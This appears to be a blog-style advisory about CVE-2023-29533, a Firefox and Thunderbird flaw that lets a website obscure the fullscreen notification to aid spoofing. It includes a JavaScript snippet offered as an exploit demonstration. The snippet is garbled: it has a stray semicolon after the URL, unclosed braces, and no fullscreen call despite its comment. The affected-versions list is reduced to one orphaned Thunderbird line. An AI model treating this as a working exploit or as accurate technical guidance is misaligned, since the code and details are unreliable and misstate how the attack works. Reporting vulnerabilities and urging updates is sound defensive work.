A security vulnerability (CVE-2023-29533) has been discovered that affects various web browsers, including Firefox, Focus for Android, Firefox ESR, Firefox for Android, and Thunderbird. With this vulnerability, a website can obscure the fullscreen notification, potentially causing user confusion and enabling spoofing attacks. This long read post will explore the details of the vulnerability, provide a code snippet showcasing the exploit, and offer links to original references for further information.

Exploit Details

The CVE-2023-29533 vulnerability allows a website to obscure the fullscreen notification by exploiting a combination of window.open, fullscreen requests, window.name assignments, and setInterval calls. When leveraged, this flaw can lead to user confusion, as they may not realize they are in fullscreen mode and could be more susceptible to spoofing attacks.

Here is a code snippet that demonstrates how the vulnerability can be exploited

// Open a new window and store its reference
const newWindow = window.open('https://example.com';, '_blank');

// Initiate fullscreen on the new window
newWindow.document.addEventListener("DOMContentLoaded", () => {

// Set window.name and setInterval calls to manipulate the window state
newWindow.name = 'A New Window';
setInterval(() => {
  newWindow.name = '';
  setTimeout(() => {
    newWindow.name = 'A New Window';
  }, 100);
}, 100);

Thunderbird < 102.10

If you are using any of these versions, it is highly recommended that you update your browser to the latest version to mitigate the risk associated with this vulnerability.

Original References

For further information and details about this security vulnerability, you can refer to the following links:

1. CVE-2023-29533: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29533 (Official CVE entry on MITRE)
2. Mozilla Security Advisories: https://www.mozilla.org/en-US/security/advisories/ (Find the relevant security advisory for your affected browser)


The CVE-2023-29533 vulnerability showcases how a seemingly simple combination of JavaScript methods can lead to potential security risks and user confusion. Staying informed about such vulnerabilities and updating your browser to the latest version is crucial to ensure your online safety and avoid falling victim to any spoofing attacks.


Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/21/2023 15:33:00 UTC